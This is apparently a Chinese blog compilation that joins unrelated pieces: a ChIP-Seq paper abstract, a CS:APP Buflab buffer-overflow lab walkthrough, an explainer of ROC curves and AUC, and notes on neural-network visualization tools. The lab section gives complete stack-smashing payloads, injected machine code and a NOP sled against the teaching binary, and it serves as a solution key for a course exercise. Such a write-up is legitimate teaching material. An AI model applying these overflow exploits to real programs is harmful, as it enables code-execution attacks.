[Abstract] We present Model-based Analysis of ChIP-Seq data, MACS, which analyzes data generated by short read sequencers such as Solexa’s Genome Analyzer. MACS empirically models the shift size of ChIP-Seq tags, and uses it to improve the spatial resolution of predicted binding sites. MACS also uses a dynamic Poisson distribution to effectively capture local biases in the genome, allowing for more robust predictions. MACS compares favorably to existing ChIP-Seq peak-finding algorithms, and is freely available.

• 文章地址： https://www.ncbi.nlm.nih.gov/pubmed/18798982 | [pdf]

• 任务说明书：[pdf] buflab | http://csapp.cs.cmu.edu/public/labs.html
• 数据包下载：buflab-handout.tar
• 实验源码：zhwhong/Bufbomb_CSAPP
• 同步简书：Bufbomb缓冲区溢出攻击实验详解-zhwhong

实验概述

　　本实验的目的在于加深对IA-32函数调用规则和栈结构的具体理解。实验的主要内容是对一个可执行程序“bufbomb”实施一系列缓冲区溢出攻击（buffer overflow attacks），也就是设法通过造成缓冲区溢出来改变该可执行程序的运行内存映像，继而执行一些原来程序中没有的行为，例如将给定的字节序列插入到其本不应出现的内存位置等。本次实验需要你熟练运用gdb、objdump、gcc等工具完成。

　　实验中你需要对目标可执行程序BUFBOMB分别完成5个难度递增的缓冲区溢出攻击。5个难度级分别命名为 Smoke（level 0）、Fizz（level 1）、Bang（level 2）、Boom（level 3）和 Nitro（level 4），其中Smoke级最简单而Nitro级最困难。

　　实验语言：c；实验环境：linux。

实验说明

　　本实验的数据包含于一个文件包buflab-handout.tar [1.06M] 中，可以从这里下载。下载该文件到本地目录中，然后利用“tar –xvf buflab-handout.tar”命令将其解压，至少包含下列四个文件：

• bufbomb：实验需要攻击的目标程序bufbomb。
• bufbomb.c：目标程序bufbomb的主源程序。
• makecookie：该程序基于你的学号产生一个唯一的由8个16进制数字组成的4字节序列（例如0x5f405c9a），称为“cookie”。
• hex2raw：字符串格式转换程序。

　　另一个需要的文件是，用objdump工具反汇编bufbomb可执行目标程序，得到它的反汇编源程序，在后面的分析中，你将要从这个文件中查找很多信息。

（注：更多详细信息说明请见任务说明书.）

实验步骤及操作说明

　　本实验需要你构造一些攻击字符串，对目标可执行程序BUFBOMB分别造成不同的缓冲区溢出攻击。实验分5个难度级分别命名为Smoke（level 0）、Fizz（level 1）、Bang（level 2）、Boom（level 3）和Nitro（level 4）。

Overview

　　本次lab利用getbuf()方程不检查读取string长度的漏洞破坏该方程的return address从而达到对主程序造成破坏的目的。从getbuf() 的assembly code我们可以看到：

位于<0x80490a3> 地址处代码为预读的string在stack创建了0x28(也就是40)个Byte 的空间。具体位置可以通过gdb在下一行设置breakpoint 查找 %eax 的值得到，如下所示：

通过gdb调试得到，getbuf()申请的40字节缓冲区首地址为 <0x55683438>，这个地址后面会用到。

通常在P过程调用Q过程时，程序的stack frame结构如下图所示：

为了覆盖被存在Return Address上的值(4 Bytes for m32 machine)，我们需要读入超过系统默认40 Bytes大小的string。由于Saved ebp 占据了4 Bytes 所以当我们的input string 为48 Bytes时，最后4位Bytes 刚好覆盖我们的目标Return address.

Notes: 由于我们在输入文件下写入的都是character（字符）因此我们需要利用hex2raw这个小程序帮助我们将我们写入的character转换成所对应的二进制数列。

level0:Smoke

Smoke任务的目标是构造一个攻击字符串作为bufbomb的输入，在getbuf()中造成缓冲区溢出，使得getbuf()返回时不是返回到test函数，而是转到smoke函数处执行。为此，你需要：

1. 在bufbomb的反汇编源代码中找到smoke函数，记下它的起始地址：

如以上实例中，smoke的开始地址是<0x08048b50> 。

2. 同样在bufbomb的反汇编源代码中找到getbuf()函数，观察它的栈帧结构：

如以上实例，你可以看到getbuf()的栈帧是0x38+4个字节，而buf缓冲区的大小是0x28（40个字节）。

3. 构造攻击字符串覆盖返回地址

　　攻击字符串的功能是用来覆盖getbuf函数内的数组buf(缓冲区)，进而溢出并覆盖%ebp和%ebp上面的返回地址，所以攻击字符串的大小应该是0x28+4+4=48个字节。并且其最后4个字节应是smoke函数的地址，正好覆盖%ebp上方的正常返回地址。这样再从getbuf返回时，取出的根据攻击字符串设置的地址，就可实现控制转移。

所以，这样的攻击字符串为：

1
2
3
4
5
6
7
8
9
10
11
12

00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
50 8b 04 08

总共48个字节，并且前面44个字节可以为任意值，对程序的执行没有任何影响，只要最后四个字节正确地设置为smoke的起始地址<0x08048b50> 即可，对应内存写入50 8b 04 08（小端格式）。

可以将上述攻击字符串写在攻击字符串文件中，命名为smoke_U201315075.txt，之后通过hex2raw处理过滤掉所有的注释，还原成没有任何冗余数据的攻击字符串原始数据而代入bufbomb中使用。通过Linux终端执行：

1

cat smoke_U201315075.txt |./hex2raw |./bufbomb -u U201315075

显示结果如下：

至此，level0任务smoke通过！

level1:fizz

level1 和 level0 大同小异，唯一的区别是本次要求跳入函数 fizz(int) 且该函数有一个参数(要求用所给cookie作argument)。

我们知道在执行完ret指令后栈顶指针 %esp 会自动增加4以还原栈帧。

通过查找fizz()得知：

• fizz()函数的起始地址为<0x08048b7a> 。
• 由Overview里面的栈帧图示可知，ebp存放了调用者的旧ebp（saved %ebp），其上一位置ebp+4存放了调用者的返回地址，所以参数的地址应该为ebp+8的位置，我们只需要将自己的cookie放置在该位置即可。

所以构造攻击文件fizz_U201315075.txt如下：

1
2
3
4
5
6
7
8
9
10
11
12
13
14

00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
7a 8b 04 08
00 00 00 00
26 05 8f 2d

其中，<0x08058b7a> 为fizz函数起始地址，0x2d8f0526 为自己的cookie，通过参数传递给fizz。

最后执行测试结果如下：

至此，level1任务fizz通过！

level2:bang

level2的难度开始增加，除了需要跳转至目标函数bang() 地址为<0x08048bc5> ：

我们还需要执行一些自行设计的指令，因为该任务我们需要将global_value 的值改成我们的cookie，通过objdump -D bufbomb | less (注意D要大写我们才能看到header的代码， -d不会显示)：

通过objdump -D 反汇编可以看到：

• global_value的地址是<0x0804d100> ， 目前该位置的初始值为 0 ；
• cookie的地址是<0x0804d108> ， 目前该位置的值初始为 0，程序运行后会变为cookie的值。

我们需要做的就是，在程序运行时将global_value的值设置为cookie的值。

构造自定义攻击指令bang.s：

由于是Assembly code 不需要考虑 little endian的问题。先将global_value 用mov指令变cookie (0x0804d100 前不加$ 表示地址)，然后将bang()函数地址<0x08048bc5> 写给esp，再执行ret指令时，程序自动跳入bang()函数。

指令 gcc -m32 -c bang.s 将assembly code写成machine code –>bang.o，再用objdump -d bang.o 读取machine code如下：

将指令代码抄入攻击文件，除此之外我们还需要找到input string存放的位置作为第一次ret 指令的目标位置，具体操作方法见Overview， 经过gdb调试分析getbuf()申请的40字节缓冲区首地址为<0x55683438> 。

所以构造攻击字符串bang_U201315075.txt如下：

1
2
3
4
5
6
7
8
9
10
11
12

c7 05 00 d1
04 08 26 05
8f 2d 68 c5
8b 04 08 c3
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
38 34 68 55

最后执行测试结果如下：

至此，level2任务bang通过！

level3:bomb

不同于之前跳入其他函数，在本任务中我们希望getbuf() 结束后回到test()原本的位置（即call getbuf后的下一行），并将你的cookie作为getbuf()的返回值传给test()。为了使攻击更加具有迷惑性我们还希望saved ebp被复原，这样一来原程序就完全不会因为外部攻击而出错崩溃，也就是退出攻击后要保证栈空间还原，使test()察觉不到我们干了什么，就好像我们什么都没做一样。

我们注意到getbuf() 在<0x08048cd1>被执行因此正确的跳转地址为 <0x08048cd6>：

另外，要还原栈帧，我们必须知道在调用getbuf()之前的原始ebp的值，这里使用gdb调试来获取，可以在<0x08048cd1>（准备进入getbuf函数）设置断点，然后查看进入getbuf之前的%ebp寄存器值，这里我们得到的旧的ebp的值为<0x55683490> ，如下：

知道了旧的ebp寄存器和正确的返回地址，接下来就是通过自己构造攻击代码实施攻击。

下面有两种方式，在test()调用getbuf()函数后能够正常返回到test()中调用call getbuf的下一条指令<0x08048cd6> 处，并且保证栈帧能够还原，也就是正确恢复旧的%ebp，程序继续正常运行。

(1)方法一

构造攻击指令bomb.s如下：

这里通过movl指令将cookie值传给%eax以返回给test()，然后使得程序跳转到test()中call getbuf下一条指令正常返回，但是并不在这里处理ebp寄存器问题，而是通过在攻击字符串里面设置ebp寄存器使得其还原为旧ebp。而在方法二中是通过在自定义攻击代码中还原旧的ebp寄存器，两种方法都可以。

对其进行编译，然后反汇编得到机器码：

构造攻击字符串bomb_U201315075.txt如下：

1
2
3
4
5
6
7
8
9
10
11
12

b8 26 05 8f
2d 68 d6 8c
04 08 c3 00
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
90 34 68 55
38 34 68 55

最后执行测试结果如下：

(2)方法二

攻击指令bomb2.s如下：

这里通过movl指令将cookie值传给%eax以返回给test()，然后继续通过movl指令还原ebp寄存器，最后通过push正确返回地址使得程序跳转到test()中call getbuf下一条指令正常返回。区别于方法一的是这里通过自定义攻击代码还原ebp，而不是通过攻击字符串中的缓冲区溢出进行覆盖的，两种方法都可以。

对其进行编译，然后反汇编得到机器码：

构造攻击字符串bomb2_U201315075.txt如下：

1
2
3
4
5
6
7
8
9
10
11
12

b8 26 05 8f
2d bd 90 34
68 55 68 d6
8c 04 08 c3
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
38 34 68 55

最后执行测试结果如下：

至此，level3任务bomb通过！

level4:nitro

本级要使用./bufbomb的-n参数，bufbomb不会再像从前哪样调用test()，而是调用testn()，testn()又调getbufn()。本级的任务是使getn返回cookie给testn()。听上去似乎与上一级没什么不同，但实际上该级的栈地址是动态的，每次都不一样，bufbomb会连续要我们输入5次字符串，每次都调用getbufn()，每次的栈地址都不一样，所以我们将不能再使用原来用gdb调试的方法来求%ebp的地址了。

解决思路就是：

1. 用assembly instruction —— nop （machine code：90）填充我们的Input string。
   这样一来在一定范围内无论在哪里进入我们的攻击程序执行指令最终都会滑到我们的攻击方程；
2. 虽然ebp的值每次变化，无法直接赋值，但是在getbufn()程序中 ebp和esp值差是一定的通过gdp查找我们可以查到这样的关系，比如我这里是相差0x28；
3. 通过空input运行主程序发现五次input string的存储位置在0x556831d8 到0x556832c8之间，因此如果我们将第一次ret address 定为最高的0x556832c8那么就可以保证五次运行执行命令都不会在运行攻击程序之前遇到除nop（90）之外的其他指令。

bufbomb在5次调用testn()和getbufn()的过程中，两个函数的栈是连续的，在testn()汇编代码开头有

可知%esp=%ebp-4-0x24，即 %ebp = %esp + 0x28。
其中，getbufn执行ret前的leave指令已经正确地恢复%esp(leave等价于 mov %ebp,%esp; pop %ebp，我们的字符串无法覆盖%ebp,%esp寄存器，%esp是从寄存器%ebp里来的，因此是正确的)。

这里构造攻击指令nitro.s如下：

对其进行编译，然后反汇编得到机器码：

可是我们还不知道返回地址应该用什么来填充。字符串首地址是变化的，虽然可以通过%esp间接求出，但在程序跳转到我们的代码之前，我们无法得知%esp的值究竟是多少（原来可以用gdb调试出来，但现在不行了）。幸好getbufn给的栈空间很大，我们可以利用nop slide技术，先让程序返回到一个我们大致猜测的地址，在这个地址及其附近的一大片区域里我们用nop指令(机器码为0x90)填充，CPU执行nop指令时除了程序计数器PC自加，别的什么也不做。把我们的代码放在这片区域的高位地址处，程序一路执行nop,就像滑行一样，一路滑到我们的代码才真正开始执行。我们可以利用gdb调试找到这个字符串开始的大致区域。

查看getbufn()汇编代码，有：

得知写入字符串的首地址为-0x208(%ebp)，而返回地址位于0x4(%ebp)，因此我们需填充0x4 - (-0x208) = 0x20c = 524个字节的字符，再写4个字节覆盖getbufn()的返回地址。

使用gdb调试发现5次getbufn循环里面，缓冲区首地址情况如下：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37

➜ ~/buflab-handout git:(master) ✗ ➤ gdb bufbomb
……
Reading symbols from bufbomb...(no debugging symbols found)...done.
(gdb) b *0x080490be
Breakpoint 1 at 0x80490be
(gdb) r -n -u U201315075
Starting program: /home/zhwhong/buflab-handout/bufbomb -n -u U201315075
Userid: U201315075
Cookie: 0x2d8f0526
Breakpoint 1, 0x080490be in getbufn ()
(gdb) p /x $ebp-0x208
$1 = 0x55683258
(gdb) c
Breakpoint 1, 0x080490be in getbufn ()
(gdb) p /x $ebp-0x208
$2 = 0x556832c8
(gdb) c
Breakpoint 1, 0x080490be in getbufn ()
(gdb) p /x $ebp-0x208
$3 = 0x556831e8
(gdb) c
Breakpoint 1, 0x080490be in getbufn ()
(gdb) p /x $ebp-0x208
$4 = 0x556831d8
(gdb) c
Breakpoint 1, 0x080490be in getbufn ()
(gdb) p /x $ebp-0x208
$5 = 0x55683258
(gdb) c
[Inferior 1 (process 9333) exited normally]

由gdb调试结果可知五次input string的存储位置在0x556831d8 到0x556832c8之间，因此如果我们将第一次ret address 定为最高的0x556832c8，那么就可以保证五次运行执行命令都不会在运行攻击程序之前遇到除nop（90）之外的其他指令。（其实返回地址只要不小于0x556832c8即可，这里就取0x556832c8 (c8 32 68 55)吧。）

构造攻击字符串nitro_U201315075.txt如下：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58

90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 b8
26 05 8f 2d 8d 6c 24 28 68 42
8d 04 08 c3 c8 32 68 55

最后执行测试结果如下：

注：需要注意的是因为在Nitro模式下主程序需要读五次input以满足执行五次的需要，因此在执行./hex2raw程序时请注意添加 -n flag以保证input string 被复制五次每次以\n结尾以结束每次的gets()函数调用。

至此，level4任务nitro通过！

• 文中出现的所有代码请查看Github仓库：zhwhong/Bufbomb_CSAPP

Reference

• [pdf] buflab assignment
• Computer Systems: A Programmer’s Perspective, 2/E (CS:APP2e)
• Bufbomb Lab 缓冲区溢出攻击试验(Buffer Lab)
• bufbomb实验心得及详细步骤
• objdump反汇编用法示例

在分类任务中，人们总是喜欢基于错误率来衡量分类器任务的成功程度。错误率指的是在所有测试样例中错分的样例比例。实际上，这样的度量错误掩盖了样例如何被分错的事实。在机器学习中，有一个普遍适用的称为混淆矩阵(confusion matrix)的工具，它可以帮助人们更好地了解分类中的错误。

比如有这样一个在房子周围可能发现的动物类型的预测，这个预测的三类问题的混淆矩阵如下表所示：

利用混淆矩阵可以充分理解分类中的错误了。如果混淆矩阵中的非对角线元素均为0，就会得到一个近乎完美的分类器。

在接下来的讨论中，将以经典的二分类问题为例，对于多分类类比推断。

二分类问题在机器学习中是一个很常见的问题，经常会用到。ROC (Receiver Operating Characteristic) 曲线和 AUC (Area Under the Curve) 值常被用来评价一个二值分类器 (binary classifier) 的优劣。之前做医学图像计算机辅助肺结节检测时，在评定模型预测结果时，就用到了ROC和AUC，这里简单介绍一下它们的特点，以及更为深入地，讨论如何作出ROC曲线图和计算AUC值。

一、医学图像识别二分类问题

针对一个二分类问题，我们将实例分成正类(positive)和负类(negative)两种。

例如：在肺结节计算机辅助识别这一问题上，一幅肺部CT图像中有肺结节被认为是阳性(positive)，没有肺结节被认为是阴性(negative)。对于部分有肺结节的示意图如下：

所以在实际检测时，就会有如下四种情况：

(1) 真阳性(True Positive，TP)：检测有结节，且实际有结节；正确肯定的匹配数目；
(2) 假阳性(False Positive，FP)：检测有结节，但实际无结节；误报，给出的匹配是不正确的；
(3) 真阴性(True Negative，TN)：检测无结节，且实际无结节；正确拒绝的非匹配数目；
(4) 假阴性(False Negative，FN)：检测无结节，但实际有结节；漏报，没有正确找到的匹配的数目。

详细图解（原创，转载请标明出处）如下：

上图中涉及到很多相关概念及参数，详细请见Wiki上的定义及其混淆矩阵。

这里整理肺结节识别中的几个主要参数指标如下：

• 正确率(Precision)：

$$ Precision=\dfrac{TP}{TP+FP} $$

• 真阳性率(True Positive Rate，TPR)，灵敏度(Sensitivity)，召回率(Recall)：

$$ Sensitivity=Recall=TPR=\dfrac{TP}{TP+FN} $$

• 真阴性率(True Negative Rate，TNR)，特异度(Specificity)：

$$ Specificity=TNR=\dfrac{TN}{FP+TN} $$

• 假阴性率(False Negatice Rate，FNR)，漏诊率( = 1 - 灵敏度)：

$$ FNR=\dfrac{FN}{TP+FN} $$

• 假阳性率(False Positice Rate，FPR)，误诊率( = 1 - 特异度)：

$$ FPR=\dfrac{FP}{FP+TN} $$

• 阳性似然比(Positive Likelihood Ratio (LR+))：

$$ LR+ = \dfrac{TPR}{FPR} = \dfrac{Sensitivity}{1-Specificity} $$

• 阴性似然比(Negative Likelihood Ratio (LR−) )：

$$ LR- = \dfrac{FNR}{TNR} = \dfrac{1-Sensitivity}{Specificity} $$

• Youden指数(Youden index)：

$$ \text{Youden index} = Sensitivity + Specificity - 1 = TPR - FPR $$

二、ROC曲线

ROC曲线：接收者操作特征曲线(receiver operating characteristic curve)，是反映敏感性和特异性连续变量的综合指标，roc曲线上每个点反映着对同一信号刺激的感受性。

对于分类器或者说分类算法，评价指标主要有precision，recall，F1 score等，以及这里要讨论的ROC和AUC。下图是一个ROC曲线的示例：

• 横坐标：1-Specificity，伪正类率(False positive rate， FPR)，预测为正但实际为负的样本占所有负例样本 的比例；
• 纵坐标：Sensitivity，真正类率(True positive rate， TPR)，预测为正且实际为正的样本占所有正例样本 的比例。

在一个二分类模型中，假设采用逻辑回归分类器，其给出针对每个实例为正类的概率，那么通过设定一个阈值如0.6，概率大于等于0.6的为正类，小于0.6的为负类。对应的就可以算出一组(FPR,TPR)，在平面中得到对应坐标点。随着阈值的逐渐减小，越来越多的实例被划分为正类，但是这些正类中同样也掺杂着真正的负实例，即TPR和FPR会同时增大。阈值最大时，对应坐标点为(0,0)，阈值最小时，对应坐标点(1,1)。

如下面这幅图，(a)图中实线为ROC曲线，线上每个点对应一个阈值。

(a) 理想情况下，TPR应该接近1，FPR应该接近0。ROC曲线上的每一个点对应于一个threshold，对于一个分类器，每个threshold下会有一个TPR和FPR。比如Threshold最大时，TP=FP=0，对应于原点；Threshold最小时，TN=FN=0，对应于右上角的点(1,1)。
(b) P和N得分不作为特征间距离d的一个函数，随着阈值theta增加，TP和FP都增加。

• 横轴FPR：1-TNR，1-Specificity，FPR越大，预测正类中实际负类越多。
• 纵轴TPR：Sensitivity(正类覆盖率)，TPR越大，预测正类中实际正类越多。
• 理想目标：TPR=1，FPR=0，即图中(0,1)点，故ROC曲线越靠拢(0,1)点，越偏离45度对角线越好，Sensitivity、Specificity越大效果越好。

随着阈值threshold调整，ROC坐标系里的点如何移动可以参考：

三、如何画ROC曲线

对于一个特定的分类器和测试数据集，显然只能得到一个分类结果，即一组FPR和TPR结果，而要得到一个曲线，我们实际上需要一系列FPR和TPR的值，这又是如何得到的呢？我们先来看一下Wikipedia上对ROC曲线的定义：

In signal detection theory, a receiver operating characteristic (ROC), or simply ROC curve, is a graphical plot which illustrates the performance of a binary classifier system as its discrimination threshold is varied.

问题在于“as its discrimination threashold is varied”。如何理解这里的“discrimination threashold”呢？我们忽略了分类器的一个重要功能“概率输出”，即表示分类器认为某个样本具有多大的概率属于正样本（或负样本）。通过更深入地了解各个分类器的内部机理，我们总能想办法得到一种概率输出。通常来说，是将一个实数范围通过某个变换映射到(0,1)区间。

假如我们已经得到了所有样本的概率输出（属于正样本的概率），现在的问题是如何改变“discrimination threashold”？我们根据每个测试样本属于正样本的概率值从大到小排序。下图是一个示例，图中共有20个测试样本，“Class”一栏表示每个测试样本真正的标签（p表示正样本，n表示负样本），“Score”表示每个测试样本属于正样本的概率。

接下来，我们从高到低，依次将“Score”值作为阈值threshold，当测试样本属于正样本的概率大于或等于这个threshold时，我们认为它为正样本，否则为负样本。举例来说，对于图中的第4个样本，其“Score”值为0.6，那么样本1，2，3，4都被认为是正样本，因为它们的“Score”值都大于等于0.6，而其他样本则都认为是负样本。每次选取一个不同的threshold，我们就可以得到一组FPR和TPR，即ROC曲线上的一点。这样一来，我们一共得到了20组FPR和TPR的值，将它们画在ROC曲线的结果如下图：

当我们将threshold设置为1和0时，分别可以得到ROC曲线上的(0,0)和(1,1)两个点。将这些(FPR,TPR)对连接起来，就得到了ROC曲线。当threshold取值越多，ROC曲线越平滑。

其实，我们并不一定要得到每个测试样本是正样本的概率值，只要得到这个分类器对该测试样本的“评分值”即可（评分值并不一定在(0,1)区间）。评分越高，表示分类器越肯定地认为这个测试样本是正样本，而且同时使用各个评分值作为threshold。我认为将评分值转化为概率更易于理解一些。

四、AUC

AUC值的计算

AUC (Area Under Curve) 被定义为ROC曲线下的面积，显然这个面积的数值不会大于1。又由于ROC曲线一般都处于y=x这条直线的上方，所以AUC的取值范围一般在0.5和1之间。使用AUC值作为评价标准是因为很多时候ROC曲线并不能清晰的说明哪个分类器的效果更好，而作为一个数值，对应AUC更大的分类器效果更好。

AUC的计算有两种方式，梯形法和ROC AUCH法，都是以逼近法求近似值，具体见wikipedia。

AUC意味着什么

那么AUC值的含义是什么呢？根据(Fawcett, 2006)，AUC的值的含义是：

The AUC value is equivalent to the probability that a randomly chosen positive example is ranked higher than a randomly chosen negative example.

这句话有些绕，我尝试解释一下：首先AUC值是一个概率值，当你随机挑选一个正样本以及一个负样本，当前的分类算法根据计算得到的Score值将这个正样本排在负样本前面的概率就是AUC值。当然，AUC值越大，当前的分类算法越有可能将正样本排在负样本前面，即能够更好的分类。

从AUC判断分类器（预测模型）优劣的标准：

• AUC = 1，是完美分类器，采用这个预测模型时，存在至少一个阈值能得出完美预测。绝大多数预测的场合，不存在完美分类器。
• 0.5 < AUC < 1，优于随机猜测。这个分类器（模型）妥善设定阈值的话，能有预测价值。
• AUC = 0.5，跟随机猜测一样（例：丢铜板），模型没有预测价值。
• AUC < 0.5，比随机猜测还差；但只要总是反预测而行，就优于随机猜测。

三种AUC值示例：

简单说：AUC值越大的分类器，正确率越高。

为什么使用ROC曲线

既然已经这么多评价标准，为什么还要使用ROC和AUC呢？因为ROC曲线有个很好的特性：当测试集中的正负样本的分布变化的时候，ROC曲线能够保持不变。在实际的数据集中经常会出现类不平衡(class imbalance)现象，即负样本比正样本多很多(或者相反)，而且测试数据中的正负样本的分布也可能随着时间变化。下图是ROC曲线和Precision-Recall曲线的对比：

在上图中，(a)和(c)为ROC曲线，(b)和(d)为Precision-Recall曲线。(a)和(b)展示的是分类其在原始测试集(正负样本分布平衡)的结果，(c)和(d)是将测试集中负样本的数量增加到原来的10倍后，分类器的结果。可以明显的看出，ROC曲线基本保持原貌，而Precision-Recall曲线则变化较大。

Reference

• Wikipedia：Receiver operating characteristic
• 孔明的博客：ROC和AUC介绍以及如何计算AUC
• Rachel Zhang的专栏(CSDN)：ROC曲线-阈值评价标准
• 博客园dzl_ML：机器学习之分类器性能指标之ROC曲线、AUC值
• 知乎：精确率、召回率、F1 值、ROC、AUC 各自的优缺点是什么？

（在此对以上博文的博主表示感谢！）

写在最后：转载请联系作者并注明出处，谢谢！

TensorBoard:TensorFlow集成可视化工具

GitHub官方项目：https://github.com/tensorflow/tensorflow/tree/master/tensorflow/tensorboard

TensorBoard 涉及到的运算，通常是在训练庞大的深度神经网络中出现的复杂而又难以理解的运算。

为了更方便 TensorFlow 程序的理解、调试与优化，Google发布了一套叫做 TensorBoard 的可视化工具。你可以用 TensorBoard 来展现你的 TensorFlow 图像，绘制图像生成的定量指标图以及附加数据。

当 TensorBoard 设置完成后，它应该是这样子的：

输入下面的指令来启动tensorboard：

1

tensorboard --logdir=/path/to/log-directory

这里的参数 logdir 指向 SummaryWriter 序列化数据的存储路径。如果logdir目录的子目录中包含另一次运行时的数据，那么 TensorBoard 会展示所有运行的数据。一旦 TensorBoard 开始运行，你可以通过在浏览器中输入 localhost:6006 来查看 TensorBoard。进入 TensorBoard 的界面时，你会在右上角看到导航选项卡，每一个选项卡将展现一组可视化的序列化数据集 。对于你查看的每一个选项卡，如果 TensorBoard 中没有数据与这个选项卡相关的话，则会显示一条提示信息指示你如何序列化相关数据。

TensorFlow 图表计算强大而又复杂，图表可视化在理解和调试时显得非常有帮助。 下面是一个运作时的可式化例子：

更多详细内容参考：

• [TensorFlow中文社区] TensorBoard:可视化学习
• [TensorFlow中文社区] TensorBoard:图表可视化
• [极客学院] TensorBoard:可视化学习

Netscope:支持Caffe的神经网络结构在线可视化工具

官网：http://ethereon.github.io/netscope/quickstart.html
GitHub项目：https://github.com/ethereon/netscope

“A web-based tool for visualizing neural network architectures (or technically, any directed acyclic graph). It currently supports Caffe’s prototxt format.”

Netscope是一个支持prototxt格式描述的神经网络结构的在线可视工具。它可以用来可视化Caffe结构里prototxt格式的网络结构，使用起来也非常简单，打开这个地址 http://ethereon.github.io/netscope/#/editor，把你的描述神经网络结构的prototxt文件复制到该编辑框里，按shift+enter，就可以直接以图形方式显示网络的结构了。

比如，以 mnist的Lenet 和 imagenet的AlexNet 网络结构为例，分别把Caffe中 caffe/examples/mnist/lenet_train_test.prototxt 和 caffe/models/bvlc_alexnet/train_val.prototxt 文件的内容复制到左侧编译框，按shift+enter,立即就可以得到可视化的结构图，具体每层的参数等，如下：

Netscope给出的几个常见CNN网络结构示例：

• AlexNet | Alex Krizhevsky, Ilya Sutskever, Geoffrey Hinton
• CaffeNet | Yangqing Jia, Evan Shelhamer, et. al.
• Fully Convolutional Network — Three Stream | Jonathan Long, Evan Shelhamer, Trevor Darrell
• GoogleNet | Christian Szegedy, et. al.
• Network in Network | Min Lin, Qiang Chen, Shuicheng Yan
• VGG 16 Layers | Karen Simonyan, Andrew Zisserman

以上网络的prototxt源文件见：https://github.com/ethereon/netscope/tree/gh-pages/presets 。

使用 python/draw_net.py绘制网络模型

python/draw_net.py，这个文件，就是用来绘制网络模型的，也就是将网络模型由prototxt变成一张图片。

在绘制之前，需要先安装两个库

1.安装ＧraphViz

1

$ sudo apt-get install GraphViz

注意，这里用的是apt-get来安装，而不是pip。

2.安装pydot

1

$ sudo pip install pydot

用的是pip来安装，而不是apt-get。

安装好了，就可以调用脚本来绘制图片了。

draw_net.py执行的时候带三个参数

• 第一个参数：网络模型的prototxt文件；
• 第二个参数：保存的图片路径及名字；
• 第二个参数：- - rankdir = x，x 有四种选项，分别是LR, RL, TB, BT 。用来表示网络的方向，分别是从左到右，从右到左，从上到小，从下到上。默认为LR。

例：绘制Lenet模型

1

$ sudo python python/draw_net.py examples/mnist/lenet_train_test.prototxt netImage/lenet.png --rankdir=BT

参考阅读：

• Netscope:支持Caffe的神经网络结构在线可视化工具
• Caffe学习系列(18): 绘制网络模型
• Caffe学习系列——工具篇：神经网络模型结构可视化
• 深度网络的设计与可视化工具

Neural Network Playground

官网：http://playground.tensorflow.org
GitHub项目：https://github.com/tensorflow/playground

Deep playground is an interactive visualization of neural networks, written in typescript using d3.js.

PlayGround是一个图形化用于教学目的的简单神经网络在线演示、实验的平台，非常强大地可视化了神经网络的训练过程。

参考阅读：

• [知乎] 谁能详细讲解一下TensorFlow Playground所展示的神经网络的概念？
• [Blog] 结合TensorFlow PlayGround的简单神经网络原理解释

ConvnetJS

官网：http://cs.stanford.edu/people/karpathy/convnetjs/
GitHub项目：https://github.com/karpathy/convnetjs

ConvNetJS is a Javascript library for training Deep Learning models (Neural Networks) entirely in your browser. Open a tab and you’re training. No software requirements, no compilers, no installations, no GPUs, no sweat.

Some Online Demos

• Convolutional Neural Network on MNIST digits
• Convolutional Neural Network on CIFAR-10
• Toy 2D data
• Toy 1D regression
• Training an Autoencoder on MNIST digits
• Deep Q Learning Reinforcement Learning demo
• Image Regression (“Painting”)
• Comparison of SGD/Adagrad/Adadelta on MNIST

